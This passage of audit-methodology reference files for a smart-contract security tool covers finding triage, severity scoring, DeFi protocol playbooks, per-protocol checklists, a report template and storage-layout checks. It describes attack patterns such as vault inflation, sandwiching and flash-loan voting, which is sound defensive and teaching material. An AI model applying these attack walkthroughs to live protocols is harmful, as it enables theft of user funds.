protocol_type = signal.type break ``` ### Step 2: Read Protocol Context File ```bash cat $FOREFY/protocols/{protocol_type}.md ``` ### Step 3: Extract Per-Bug-Class Checklist For each bug class section in the protocol context file: - Extract **Protocol-Specific Preconditions** - Extract **Detection Heuristics** (the exact grep commands and code reading checks) - Extract **False Positives** (what makes it NOT a bug) - Extract **Notable Historical Findings** (what similar protocols were hit with) - Extract **Remediation Notes** (standard fixes) ### Step 4: Build Agent Bundle Combine into an agent-specific bundle: - Agent 1-4 (vector scan): Merge FV-SOL taxonomy + protocol context detection heuristics with their assigned vector range - Agent 5 (adversarial): Full protocol context file for independent adversarial review - Agent 6 (state inconsistency): Protocol-specific state coupling patterns from context file - Agent 7 (Feynman, beast): Protocol-specific preconditions as questioning targets --- ## Triager Economic Validation After the FP Gate, apply **economic triager validation** (from Forefy) to every surviving finding: ### Budget-Protection Checks For each finding, the triager must validate: 1. **Technical Disproof Attempt**: Actively try to prove the finding is NOT exploitable - Test the attack path with concrete values - Check if protocol protections exist that the initial analysis missed - Verify contract locations and line numbers are accurate 2. **Economic Feasibility**: Calculate realistic attack economics - Gas cost of the attack at current gas prices - Flash loan fees required - Capital requirements and opportunity cost - Sandwich/MEV profitability threshold - Is the attack economically rational for a real attacker? 3. **Evidence Chain Validation**: ``` Code Pattern Observed → Vulnerability Type → Attack Vector → Business Impact → Risk Assessment ``` Every link in this chain must be verified. A missing link = finding is downgraded or dismissed. 4. **Cross-Finding Consistency**: Check all findings for logical contradictions - Does Finding A's exploit path assume protection that Finding B says is missing? - Are severity levels consistent across similar finding types? ### Triager Verdict Classification | Verdict | Criteria | |---|---| | **VALID** | Cannot be disproved. Economically rational attack. Full evidence chain. | | **QUESTIONABLE** | Technical issue exists but economic viability unclear. Needs additional proof. | | **OVERCLASSIFIED** | Valid vulnerability but severity was exaggerated. Downgrade recommended. | | **DISMISSED** | Disproved technically or economically. Specific reasoning documented. | --- ## Severity Formula (Conservative) ``` Base Score = Impact × Likelihood × Exploitability Final Score = Base Score (if borderline, round DOWN) ``` | Factor | Score 3 (High) | Score 2 (Medium) | Score 1 (Low) | |---|---|---|---| | **Impact** | Complete compromise, TVL >$1M at risk | Significant loss >$100k, major disruption | Limited loss <$100k, minor impact | | **Likelihood** | In core user flows, easily discoverable | Requires moderate knowledge + conditions | Requires expert knowledge + timing | | **Exploitability** | Single tx, flash-loan enabled, guaranteed profit | Multi-tx, requires capital, timing dependent | Requires governance, extensive setup | | Score Range | Severity | |---|---| | 18-27 | CRITICAL | | 8-17 | HIGH | | 4-7 | MEDIUM | | 1-3 | LOW | **Conservative rule**: When uncertain between two severity levels, ALWAYS choose the LOWER one. ## references/protocol-playbooks.md # Protocol Playbooks This reference document contains specific, battle-tested playbooks for securely integrating with or auditing atop the most dominant DeFi building blocks. --- ## 1. Uniswap V3 Playbook **Architecture TL;DR:** Concentrated liquidity, tick mathematics, dynamic fees, NFTs representing positions instead of fungible ERC20 tokens. ### Security Checklist for V3 Integrations: - [ ] **Slippage Deadlines:** Are `deadline` parameters hardcoded to `block.timestamp`? (BAD). They must be user-provided to prevent validators from holding the tx and executing it when the price shifts unfavorably. - [ ] **amountOutMinimum Check:** Ensure `amountOutMinimum` is calculated appropriately via a reliable off-chain oracle or TWAP (not 0). - [ ] **TWAP Manipulation:** If using `observe()`, is the `secondsAgos` parameter large enough? Intervals under 5 minutes on low-liquidity pools can be manipulated across multiple blocks by an organized MEV miner. - [ ] **Callback Reentrancy:** Does the integrating contract perform state updates *after* `uniswapV3SwapCallback`? (BAD). Ensure all state is locked or committed prior. - [ ] **Tick Math Precision:** Are you using Uniswap's official `TickMath` library, or custom derivations? Custom float/int rounding logic frequently leads to overflow/underflow exploits. - [ ] **Just-In-Time (JIT) Flash Liquidity:** Does the protocol rely on spot LP fees? JIT attackers can observe a huge swap, flash-mint concentrated liquidity covering the exact tick, capture 99% of the fee, and instantly withdraw. **Common Exploit:** Reentrancy via ERC777 tokens during the callback or failing to implement a slippage lock, allowing a MEV bot to sandwich a huge router trade. --- ## 2. Aave V3 Playbook **Architecture TL;DR:** E-Mode (Efficiency Mode), Isolation Mode, Siloed borrowing, FlashLoans, optimized L2 ports. ### Security Checklist for Aave Integrations: - [ ] **Flash Loan Origin Assumption:** Have you assumed flash loans only execute once? A nested flash loan (flashloaning from pool A, calling pool B, which flashloans from pool A again) can break internal state snapshots if not carefully written. - [ ] **E-Mode Correlation Failure:** E-Mode groups highly correlated assets (e.g., wstETH and ETH) with up to 97% LTV. If you build a protocol on top of Aave E-Mode, are you prepared for the de-peg risk? A 3% oracle de-peg results in instant liquidation. - [ ] **Interest Rate Explosion:** Borrowing math can theoretically result in a geometric explosion of debt if `variableBorrowIndex` behaves unexpectedly due to artificial 100% utilization. - [ ] **A-Token Rebase Hooks:** A-Tokens actively increase in balance. If your protocol rigidly caches balances via a single reading and later tries to move the full cached amount, rounding errors or dust will trap the yield. Always use `type(uint256).max` to clear A-Token balances. - [ ] **Liquidation MEV Profiling:** Aave V3 liquidators operate in highly competitive mempool environments. Does your integration inadvertently restrict who can liquidate, potentially leading to bad debt accumulation if the single liquidator is DOS'd? --- ## 3. Lido Playbook **Architecture TL;DR:** Liquid staking derivatives, `stETH` (rebasing), `wstETH` (wrapped, value-accruing), off-chain node operator registries. ### Security Checklist for Lido Integrations: - [ ] **stETH vs wstETH Mismatch:** `stETH` is a *rebasing* token (1 stETH = 1 ETH constantly, but your `balanceOf(stETH)` goes up daily). Integrating `stETH` into a constant-product AMM or a rigid vault breaks accounting. You *must* use `wstETH` for integration, which is a standard ERC20 where the balance stays static but the underlying exchange rate climbs. - [ ] **1-2 Wei Corner Cases:** Lido's internal share-to-amount math (`getPooledEthByShares`) suffers from inherent 1-2 wei rounding errors during conversions. If your protocol requires exact 1:1 mathematical equivalence (e.g., `deposit(amount) -> withdraw(exact_amount)`), the tx will revert. Always leave a variance buffer (`dust`). - [ ] **Exchange Rate Oracle:** Does your protocol price `wstETH` exactly as `stETH`? No. You must invoke `wstETH.getStETHByWstETH(1 ether)` or use Chainlink's dedicated `wstETH/USD` feed. - [ ] **Withdrawal Queue Locking:** Ethereum Shanghai enabled withdrawals, meaning `stETH` can be burned for `ETH` via Lido's WithdrawalQueue. These withdrawals take days. If your protocol requires instant liquidity, you must swap via Curve instead of using the official burn endpoint. --- ## 4. ERC4626 Tokenized Vaults Playbook **Architecture TL;DR:** Yield-bearing vault standard utilizing an asset/share relationship. ### Security Checklist for ERC4626 Integrations: - [ ] **First-Deposit Inflation (Inflation Attack):** An attacker deposits 1 wei to get 1 share. They then manually transfer (donate) 1,000,000 Tokens (100k USD) to the vault. The vault now has 1,000,000 Tokens backing 1 Share. The next legitimate user deposits 500,000 Tokens. Due to standard integer rounding (`500k * 1 / 1M = 0.5 -> 0 shares`), the new user receives ZERO shares, and their 500k deposit is absorbed into the value of the attacker's 1 share. - *Fix:* Check if the vault implements "Virtual Shares" (OpenZeppelin >v4.9) or mints initial dead shares to address `0x000...000`. - [ ] **totalAssets() Manipulation:** Is `totalAssets()` calculated using purely `ERC20.balanceOf(address(this))`? If so, anyone can inflate the share price by sending tokens directly to the vault. - [ ] **Slippage on redeem / withdraw:** The standard does not natively enforce min-out slippage checks for withdraws. Depending on strategy yield generation, `previewRedeem()` may differ drastically from reality if fees slash the position. --- ## 5. LayerZero V2 Playbook **Architecture TL;DR:** OApp, DVNs (Decentralized Verifier Networks), Executors, specific message payloads. ### Security Checklist for LayerZero V2: - [ ] **Trusted DVN Configuration:** Have you overridden the default config? If using default settings, LayerZero labs controls the DVN. You must securely select independent DVNs. - [ ] **Payload Ordering (`compose` vs `lzReceive`):** Does your logic assume ordered execution across multiple chains? LayerZero messaging is asynchronous and payloads can fail or be stalled by lack of executor gas. Do you have a manual retry mechanism? - [ ] **Gas Grieving:** Ensure you enforce a strict minimum `gasLimit` on the destination chain execution wrapper so an attacker cannot grief the target chain processor by executing with perfectly tuned insufficient gas, trapping the payload in the `retryPayload` queue permanently. ## references/protocol-routes.md # VeerSkills Protocol-Specific Audit Routes _9 protocol types with required reading paths, severity tables, and conditional checklists. Adapted from WEB3-AUDIT-SKILLS route map._ --- ## Quick Protocol Router ``` ┌─────────────────────────────────────────────────────────────────┐ │ WHAT ARE YOU AUDITING? │ ├─────────────────────────────────────────────────────────────────┤ │ 1. LENDING 2. DEX/AMM 3. BRIDGE │ │ 4. VAULT/YIELD 5. STAKING 6. NFT MARKETPLACE │ │ 7. GOVERNANCE 8. PERPS/OPTIONS 9. INTENT SYSTEM │ └─────────────────────────────────────────────────────────────────┘ ``` **Auto-detection**: Identify protocol type from: - Import patterns (`ILendingPool`, `IUniswapV2Router`, `IERC4626`) - Function names (`borrow`, `liquidate`, `swap`, `addLiquidity`, `stake`) - State variables (`totalBorrowed`, `reserves`, `totalShares`, `validators`) - Contract inheritance patterns --- ## 1. Lending Protocol **Matches**: Aave-like, Compound-like, any borrow/lend system ### Critical Path (check these FIRST) | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Oracle manipulation → bad debt | V55, V69, V86, V93, V124, V137, V141 | | P0 | First depositor attack | V120, V133, V167 | | P1 | Liquidation DoS / manipulation | V41, V43, V147 | | P1 | Interest accrual before health check | V147, V144 | | P2 | Stale oracle prices | V69, V93, V145 | ### Required Checks - [ ] Oracle: staleness, bounds, depeg handling, L2 sequencer - [ ] Liquidation: self-liquidation, accrued interest, dust positions - [ ] Share math: first depositor, rounding direction, inflation attack - [ ] Flash loan: price manipulation, governance attack, collateral manipulation - [ ] Interest: accrual timing, rate model edge cases, utilization gaming ### Conditional | If Protocol Has... | Also Check | |---------------------|-----------| | Governance tokens | V90, V131 — flash loan governance | | Isolated markets | Cross-market interactions, shared oracles | | Cross-chain lending | V117, V119, V140, V142 | | NFT collateral | V49, V64, V109 | --- ## 2. DEX / AMM **Matches**: Uniswap-like, Curve-like, any swap system ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | K value / reserve manipulation | V86, V124 | | P0 | Missing slippage protection | V95, V125, V154 | | P1 | Callback reentrancy (swap hooks) | V12, V52, V60, V105 | | P1 | Sandwich attacks | V125, V95 | | P2 | Fee calculation / precision | V26, V35, V73 | ### Required Checks - [ ] Slippage: `amountOutMin` present, user-set, not on-chain derived - [ ] Deadline: present and validated (not `block.timestamp`) - [ ] Reentrancy: CEI on all swap paths, callback safety - [ ] Price oracle: not using spot reserves for pricing - [ ] Token compatibility: fee-on-transfer, rebasing, decimals ### Conditional | If DEX Has... | Also Check | |---------------|-----------| | Concentrated liquidity | V26, V70 — precision loss in tick math | | Hooks (V4 style) | Arbitrary code execution in hook callbacks | | Stable swaps | Depeg handling, amplification parameter bounds | | Limit orders | V51, V127, V138 — signature/replay | --- ## 3. Bridge **Matches**: Cross-chain bridge, token bridge, message passing ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Message spoofing / signature bypass | V1, V117, V119 | | P0 | Replay across chains | V24, V127, V140 | | P0 | Fake peer / unauthorized mint | V119, V159 | | P1 | DVN collusion / insufficient diversity | V142, V143 | | P1 | Rate limits / circuit breakers missing | V143 | | P2 | Reorg double-spend | V114 | ### Required Checks - [ ] Message verification: endpoint, peer, chain ID all validated - [ ] Nonce management: monotonic, gap-free, DoS-resistant - [ ] Supply invariant: `total_locked_source >= total_minted_destination` - [ ] Rate limits: per-tx caps, per-window caps, pause mechanism - [ ] Finality: sufficient block confirmations per chain ### Conditional | If Bridge Has... | Also Check | |-----------------|-----------| | Optimistic verification | Challenge period, fraud proof completeness | | ZK proofs | Proof verification, circuit soundness | | LayerZero | V7, V38, V42, V47, V71, V160 | | Token wrapping | V4, V73, V128 | --- ## 4. Vault / Yield Aggregator **Matches**: ERC4626 vault, yield optimizer, auto-compounder ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Share price manipulation | V120, V133, V167 | | P0 | First depositor / inflation attack | V167, V56 | | P1 | Rounding direction violations | V56, V66, V67, V136 | | P1 | Donation attack via direct transfer | V54, V152 | | P2 | Strategy loss attribution | V26, V35 | ### Required Checks - [ ] Rounding: deposit/mint round DOWN, withdraw/redeem round UP (vault-favorable) - [ ] First depositor: dead shares, `_decimalsOffset()`, minimum deposit - [ ] `totalAssets()`: not manipulable by direct token transfer - [ ] Preview functions match actual behavior (no divergence) - [ ] `maxDeposit/maxMint/maxRedeem/maxWithdraw`: return correct limits ### Conditional | If Vault Has... | Also Check | |-----------------|-----------| | Strategies | Strategy migration, loss socialization | | Multiple assets | V4 — decimal mismatch | | Timelocks | V77 — griefing via dust deposits | | Withdrawal queues | V110 — DoS via rejecting contract | --- ## 5. Staking / Restaking **Matches**: Staking pool, liquid staking, restaking (EigenLayer-like) ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Reward front-running | V3, V144 | | P0 | Slashing amount manipulation | Cross-function interactions | | P1 | Unbonding bypass | V77, V89 | | P1 | Reward calculation overflow | V45, V70 | | P2 | Dust reward griefing | V10, V35, V77 | ### Required Checks - [ ] Reward checkpoint: `updateReward()` BEFORE any balance change - [ ] Minimum stake: prevents dust position griefing - [ ] Unbonding period: cannot be bypassed or reset - [ ] Slashing: correctly applied, cannot be gamed - [ ] Delegation: operator selection safety, validator management --- ## 6. NFT Marketplace **Matches**: NFT trading, auction, royalty system ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Signature replay → free NFTs | V1, V51, V127, V138 | | P0 | Type confusion (ERC721/1155 quantity) | V104 | | P1 | Auction manipulation | V5, V95 | | P1 | Callback reentrancy | V12, V49 | | P2 | Royalty bypass | V107 | ### Required Checks - [ ] Signatures: nonce, chainId, expiry, msg.sender binding - [ ] Callbacks: `onERC721Received` / `onERC1155Received` safety - [ ] Quantity: ERC721 always quantity==1 - [ ] Approval: cleared on transfer, no lingering approvals - [ ] Price: payment matches listing, no zero-payment paths --- ## 7. Governance / DAO **Matches**: On-chain governance, voting, timelock ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Flash loan voting | V131 | | P0 | Governance takeover via upgrade | V90 | | P1 | Timelock bypass | V94 | | P1 | Proposal spam / DoS | V25, V82 | | P2 | Quorum manipulation | V3 | ### Required Checks - [ ] Voting: uses `getPastVotes(block.number - 1)`, not current balance - [ ] Timelock: present, >= 24h, cannot be bypassed - [ ] Quorum: high enough to prevent flash loan attacks - [ ] Proposal execution: bounded gas, cannot drain treasury - [ ] Delegate: privilege escalation checks --- ## 8. Perpetuals / Options **Matches**: Perp DEX, options protocol, derivatives ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Oracle manipulation → liquidation cascade | V86, V124, V137, V141 | | P0 | Mark/index price divergence | V55, V69 | | P1 | Funding rate manipulation | Cross-function interactions | | P1 | ADL (auto-deleverage) abuse | V97, V135 | | P2 | Insurance fund drain | V35, V120 | ### Required Checks - [ ] Oracle: multi-source, circuit breaker, bounded updates - [ ] Liquidation: cascade limits, self-liquidation prevention - [ ] Funding rate: bounded, time-weighted, manipulation-resistant - [ ] Position limits: per-user caps, open interest caps - [ ] Settlement: rounding favors protocol, dust handling --- ## 9. Intent Systems **Matches**: Intent-based protocol, solver network, CoW-style ### Critical Path | Priority | Area | Key Vectors | |----------|------|-------------| | P0 | Intent forgery / signature bypass | V1, V51, V127, V138 | | P1 | Solver collusion | V97, V121 | | P1 | Front-running intent execution | V95, V125 | | P2 | Partial fill manipulation | V26, V35 | ### Required Checks - [ ] Intent signing: EIP-712, nonce, chainId, expiry, msg.sender - [ ] Solver validation: whitelist/stake, result verification - [ ] Slippage: user-specified minimum, checked at settlement - [ ] Cancellation: effective before execution, no race condition - [ ] Ordering: fair ordering, no preferential execution --- ## Universal Checks (ALWAYS Apply) Regardless of protocol type, **always** check: | Category | Key Vectors | Description | |----------|-------------|-------------| | Access Control | V15, V101, V113 | Missing modifiers, deployer retention | | Reentrancy | V12, V52, V60, V83, V98, V105, V153 | All variants | | Overflow | V32, V45, V70, V85 | Unchecked, downcasts, assembly | | DoS | V10, V25, V82, V110 | Loops, push payments, block stuffing | | Upgrade Safety | V18, V48, V106, V139, V149, V168 | All proxy patterns | | Token Handling | V73, V84, V87, V128 | Fee-on-transfer, rebasing, non-standard | ## references/report-template.md # Report Template & Finding Classification Finding severity classification, validation protocol, report structure, and quality assurance checks. --- ## Module 13: Finding Classification ### P0 — CRITICAL ``` Impact: Complete fund loss, protocol insolvency, unauthorized total drain Exploitability: Exploitable by any user or flash loan attacker in single transaction Capital: $0 (flash loan) to low capital Skill: Low-moderate (known patterns, reproducible) Required: Working PoC MANDATORY Examples: Reentrancy drain, unprotected initialize, infinite mint, oracle manipulation ``` ### P1 — HIGH ``` Impact: Significant fund loss (10-50% of TVL), major state corruption Exploitability: Moderate conditions required (specific token type, timing, capital) Capital: $10k-$1M required Skill: Moderate (custom exploit development) Required: Working PoC MANDATORY Examples: Share inflation, fee-on-transfer accounting, unsafe downcast, access bypass ``` ### P2 — MEDIUM ``` Impact: Minor fund loss (<10% TVL), temporary DoS, value leak under edge conditions Exploitability: Specific conditions required (unlikely but possible) Capital: Variable Skill: Moderate-High Required: PoC RECOMMENDED Examples: Rounding exploitation, stale oracle, unbounded loop DoS, missing slippage ``` ### P3 — LOW ``` Impact: Minimal financial impact, best practice violations, theoretical risk Exploitability: Requires unusual conditions or provides minimal benefit Required: Code reference + explanation Examples: Missing events, gas inefficiency, code quality, unchecked zero-address ``` ### P4 — INFORMATIONAL ``` Impact: No direct security impact Purpose: Code quality, optimization opportunities, documentation gaps Required: Brief description + recommendation Examples: Unused variables, floating pragma, missing NatSpec, redundant storage reads ``` ### Severity Decision Tree ``` Is there direct fund loss? ├── YES → How much? │ ├── >50% TVL or total drain → CRITICAL (P0) │ ├── 10-50% TVL → HIGH (P1) │ └── <10% TVL → MEDIUM (P2) ├── POSSIBLE (with conditions) → What conditions? │ ├── Easily achievable (flash loan, any user) → HIGH (P1) │ ├── Moderate difficulty (specific state, timing) → MEDIUM (P2) │ └── Unlikely (governance attack, near-impossible) → LOW (P3) └── NO → Is there state corruption? ├── YES → Can it be exploited later for funds? → Escalate severity └── NO → LOW (P3) or INFO (P4) ``` --- ## Module 14: Finding Validation Protocol ### Step 1: Reproducibility (3/3 required) ``` Test 1: Default parameters Command: forge test --match-test test_exploit -vvv Input: Standard amounts (1e18, 100e18) Result: ✅ / ❌ Test 2: Edge case parameters Command: forge test --match-test test_exploit -vvv Input: Extreme values (1 wei, type(uint256).max - 1) Result: ✅ / ❌ Test 3: Different block/timestamp Command: forge test --match-test test_exploit --fork-block-number {N} -vvv Input: Different chain state Result: ✅ / ❌ ``` ### Step 2: Impact Quantification ```markdown | Metric | Value | |--------|-------| | TVL at risk | $X | | % of TVL | X% | | Users affected | X | | Attacker profit | $X | | Attack cost (gas) | X gwei | | Attack cost (capital) | $X | | Recovery possible | Yes/No | | Time to exploit | X minutes/hours | ``` ### Step 3: Exploit Feasibility Assessment ```markdown | Factor | Score (1-5) | Notes | |--------|------------|-------| | Capital required | X | Flash loan = 1, $10M+ = 5 | | Technical skill | X | Script kiddie = 1, zero-day = 5 | | Time window | X | Instant = 1, needs governance vote = 5 | | Detection probability | X | Invisible = 1, obvious = 5 | | Repeatability | X | Once only = 5, infinite = 1 | ``` ### Step 4: Root Cause Analysis ```markdown Root Cause: [Category from vulnerability matrix: RE/AC/AR/OR/DO/EC/UP/CO] Code Location: [file.sol:L{start}-L{end}] Violated Assumption: "[What the developer assumed that isn't true]" Why Existing Mitigations Failed: "[What was supposed to prevent this]" Pattern Match: [matching-vulnerability-matrix-id, e.g., RE-1, OR-2] ``` ### Step 5: Mitigation Analysis ```markdown | Factor | Assessment | |--------|-----------| | Fix complexity | Low / Medium / High | | Breaking changes | Yes / No | | Gas impact | +X% / negligible | | Backward compatibility | Compatible / Breaking | | Recommended fix | [Specific code change] | | Alternative fix | [If primary fix has trade-offs] | | Verification | [How to verify fix works] | ``` ### Step 6: False Positive Elimination ```markdown Devil's Advocate Checklist: - [ ] Searched all files for preventing constraints - [ ] Checked inherited contracts and libraries - [ ] Verified against protocol documentation - [ ] Dry-ran with concrete values (at least 3 scenarios) - [ ] Checked if similar findings were invalidated on Solodit - [ ] Confirmed no governance parameters prevent this - [ ] Verified compiler version implications Conclusion: [CONFIRMED / FALSE POSITIVE] If FP: [Reason for dismissal] ``` --- ## Module 15: Report Structure ### Section 1: Executive Summary ```markdown # VeerSkills Security Audit Report ## Executive Summary **Protocol:** [Name] **Version:** [Commit hash] **Audit Date:** [YYYY-MM-DD] **Auditor:** VeerSkills Automated Audit Engine **Network:** [EVM/Solana/Move/TON/Starknet/Cosmos] **Scope:** [List of contracts/files in scope] ### Methodology 12-phase pipeline: RECON → CONTEXT → THREAT → MAP → HUNT (incl. REVERSE, DATA_FLOW, BOUNDARY) → ATTACK → NEMESIS → VALIDATE → FUZZ → REPORT → SELF-AUDIT - Static analysis: Slither + Aderyn + Storage Layout Analyzer - Dynamic analysis: Foundry fuzz + Echidna - Formal verification: Certora/Halmos (if beast mode) - Manual review: Multi-agent vulnerability matrix sweep ### Risk Assessment | Overall Risk | [LOW / MEDIUM / HIGH / CRITICAL] | |---|---| | Critical findings | X | | High findings | X | | Medium findings | X | | Low findings | X | | Informational | X | ### Findings Summary Table | ID | Title | Severity | Status | |----|-------|----------|--------| | OG-1 | [title] | CRITICAL | Open | | OG-2 | [title] | HIGH | Open | | ... | ... | ... | ... | ``` ### Sections 2-5: Findings by Severity Each finding follows this format: ```markdown ## OG-{N}: [Title] **Severity:** CRITICAL / HIGH / MEDIUM / LOW / INFO **Category:** [RE/AC/AR/OR/DO/EC/UP/CO] **Confidence:** Confirmed / Likely / Possible **Location:** [file.sol:L{start}-L{end}](file:///path/to/file.sol#L{start}-L{end}) ### Description [What is vulnerable and why. Technical details.] ### Impact [What attacker gains. Quantified impact.] ### Attack Scenario 1. Attacker does X 2. Due to Y, state becomes Z 3. Attacker extracts W ### Proof of Concept \`\`\`solidity // PoC code or reference to PoC file \`\`\` ### Root Cause [Underlying assumption violated] ### Recommendation \`\`\`diff - vulnerable code + fixed code \`\`\` ### Evidence Sources - Slither detector `{id}`: [description] - Cyfrin checklist `{id}`: [description] - Solodit finding: [URL] ### Falsification Attempts - [What was checked to ensure this is not a false positive] ``` ### Section 6: Statistical Analysis ```markdown ## Statistical Analysis ### Code Metrics | Metric | Value | |--------|-------| | Total Contracts | X | | Total Lines (nSLOC) | X | | External Functions | X | | State Variables | X | | External Calls | X | | Complexity Score | X | ### Vulnerability Distribution | Class | Checked | Issues | Coverage | |-------|---------|--------|----------| | Reentrancy (RE) | 5/5 | X | 100% | | Access Control (AC) | 5/5 | X | 100% | | ... | ... | ... | ... | | **Total** | **40/40** | **X** | **100%** | ``` ### Section 7: Security Posture (SWOT) ```markdown ## Security Posture Assessment ### Strengths - [What the protocol does well] ### Weaknesses - [Where the protocol is vulnerable] ### Opportunities - [What could improve security] ### Threats - [External factors that could affect security] ``` ### Section 8: Testing Summary ```markdown ## Testing Summary ### Static Analysis | Tool | Findings | High | Medium | Low | |------|----------|------|--------|-----| | Slither | X | X | X | X | | Aderyn | X | X | X | X | ### Dynamic Analysis | Suite | Runs | Failures | Coverage | |-------|------|----------|----------| | Invariant fuzz | 10,000 | 0 | 95%+ | | Attack fuzz | 50,000 | 0 | 90%+ | | Edge case fuzz | 20,000 | 0 | 85%+ | ### Manual Review | Phase | Duration | Findings | |-------|----------|----------| | MAP | Xh | System map | | HUNT | Xh | X suspects | | ATTACK | Xh | X confirmed | ``` ### Section 9: Appendix ```markdown ## Appendix ### Tools Used | Tool | Version | Purpose | |------|---------|---------| | Slither | X.Y.Z | Static analysis | | Aderyn | X.Y.Z | Static analysis | | Foundry | X.Y.Z | Testing + fuzzing | | Echidna | X.Y.Z | Property testing | ### Coverage Reports [Attached LCOV report or summary] ### PoC Code [All PoCs with running instructions] ### Commit Hash `{commit_hash}` on branch `{branch}` ### Disclaimer This report represents findings at a point in time. It does not guarantee the absence of all vulnerabilities. Smart contract security is an ongoing process. ``` --- ## Module 16: Quality Assurance Checklist Before delivering the report, verify ALL of these: ### QA-1: Completeness - [ ] All findings have: title, severity, description, location, recommendation - [ ] All Critical/High findings have working PoCs - [ ] All Medium+ findings have impact quantification - [ ] Executive summary reflects all findings - [ ] All 40 vulnerability matrix checks are marked (checked + safe or found issue) - [ ] Appendix includes tools, versions, commit hash ### QA-2: Accuracy - [ ] Severity consistent with decision tree - [ ] Impact properly quantified (not just "funds at risk") - [ ] Technical details verified against actual code - [ ] Line references correct and up-to-date - [ ] No copy-paste errors from templates ### QA-3: Clarity - [ ] Non-technical executive summary - [ ] Terms defined on first use - [ ] Attack scenarios use concrete values (not abstract) - [ ] Logical flow: vulnerability → impact → fix - [ ] No ambiguous language ("might", "could possibly") ### QA-4: Actionability - [ ] Every finding has specific fix recommendation - [ ] Fix complexity estimated (low/medium/high) - [ ] Code examples for recommended fixes (diff format) - [ ] Verification steps for each fix - [ ] Priority order for remediation ### QA-5: Zero False Positives - [ ] Every finding survived Devil's Advocate protocol - [ ] 3x reproducibility for all Critical/High - [ ] Falsification attempts documented per finding - [ ] No findings based solely on static analysis without manual verification - [ ] No "admin could rug" type findings (P4 protocol enforced) ## references/storage-layout-analyzer.md # Storage Layout Analyzer _Systematic storage layout analysis protocol for proxy/upgradeable contracts. Catches slot collisions, struct packing gaps, and upgrade-breaking layout changes._ --- ## When to Use Mandatory for any codebase with: - Proxy patterns (Transparent, UUPS, Beacon, Diamond/EIP-2535) - Upgradeable contracts (any `Initializable` usage) - Assembly `sstore`/`sload` with computed slots - `delegatecall` to external contracts --- ## Module 1: Storage Slot Computation Rules ### Sequential Storage ``` Slot 0: first state variable Slot 1: second state variable ... Struct members packed left-to-right within 32-byte slots ``` ### Mapping Storage ``` mapping(keyType => valueType) at slot p: value location = keccak256(abi.encode(key, p)) mapping(k1 => mapping(k2 => valueType)) at slot p: value location = keccak256(abi.encode(k2, keccak256(abi.encode(k1, p)))) ``` ### Dynamic Array Storage ``` array at slot p: length = sload(p) element[i] = sload(keccak256(p) + i) ``` ### EIP-1967 Standard Slots ```solidity // Implementation slot bytes32 constant IMPLEMENTATION_SLOT = bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1); // = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // Admin slot bytes32 constant ADMIN_SLOT = bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1); // = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 // Beacon slot bytes32 constant BEACON_SLOT = bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1); // = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50 ``` ### EIP-7201 Namespaced Storage ```solidity // Namespaced storage location bytes32 constant NAMESPACE = keccak256(abi.encode(uint256(keccak256("namespace.id")) - 1)) & ~bytes32(uint256(0xff)); ``` --- ## Module 2: Automated Extraction Commands ### Forge Storage Layout ```bash # Get full storage layout for a contract forge inspect ContractName storage-layout --pretty # Compare V1 vs V2 layouts forge inspect V1 storage-layout --pretty > /tmp/v1_layout.txt forge inspect V2 storage-layout --pretty > /tmp/v2_layout.txt diff /tmp/v1_layout.txt /tmp/v2_layout.txt ``` ### Slither Storage Layout ```bash # Print storage layout slither . --print variable-order 2>/dev/null # Print all variables and their authorization slither . --print vars-and-auth 2>/dev/null ``` ### Manual Slot Verification ```bash # Read a specific slot from deployed contract (via cast) cast storage --rpc-url # Verify EIP-1967 implementation slot cast storage 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc ``` --- ## Module 3: Struct Packing Analysis ### Rules - Variables < 32 bytes are packed left-to-right within a slot - A new slot starts when the next variable doesn't fit in the remaining space - `mapping` and `dynamic array` always start a new slot - Struct members follow the same packing rules ### Gap Detection Checklist - [ ] **GP-01**: Are there any `uint256` between two small types? (wastes gas, potential padding issue) - [ ] **GP-02**: Are `bool` variables grouped together? (8 bools can share 1 slot) - [ ] **GP-03**: Are `address` (20 bytes) paired with types ≤ 12 bytes? (optimal packing) - [ ] **GP-04**: Does a struct cross a 32-byte boundary unnecessarily? - [ ] **GP-05**: Is there a storage gap (`__gap`) for upgrade safety? (usually `uint256[50] __gap`) ### Common Packing Patterns ```solidity // ✅ GOOD: Packed (1 slot) address owner; // 20 bytes bool paused; // 1 byte uint8 version; // 1 byte // Total: 22 bytes → fits in 1 slot // ❌ BAD: Wasted space (3 slots) bool paused; // Slot 0: 1 byte (31 bytes wasted) address owner; // Slot 1: 20 bytes (12 bytes wasted) uint8 version; // Slot 2: 1 byte (31 bytes wasted) ``` --- ## Module 4: Upgrade Safety Checklist ### Storage Layout Preservation - [ ] **UG-01**: New state variables ONLY appended at the END — never inserted in the middle - [ ] **UG-02**: No existing state variables removed or reordered between versions - [ ] **UG-03**: No type changes that alter slot size (e.g., `uint128` → `uint256`) - [ ] **UG-04**: Storage gap (`__gap`) reduced by exactly the number of new variables added - [ ] **UG-05**: Inherited contract storage order preserved (C3 linearization unchanged) - [ ] **UG-06**: No new inheritance added BEFORE existing inherited contracts ### Proxy-Specific Checks - [ ] **UG-07**: Proxy storage doesn't overlap implementation storage (EIP-1967 slots used) - [ ] **UG-08**: `_disableInitializers()` called in implementation constructor - [ ] **UG-09**: `reinitializer(version)` with correct incrementing version number - [ ] **UG-10**: No `immutable` variables in upgradeable contracts (they live in bytecode, not storage) - [ ] **UG-11**: No `selfdestruct` in implementation (Dencun changes behavior) - [ ] **UG-12**: UUPS `_authorizeUpgrade()` has proper access control ### Diamond/EIP-2535 Specific - [ ] **UG-13**: All facets 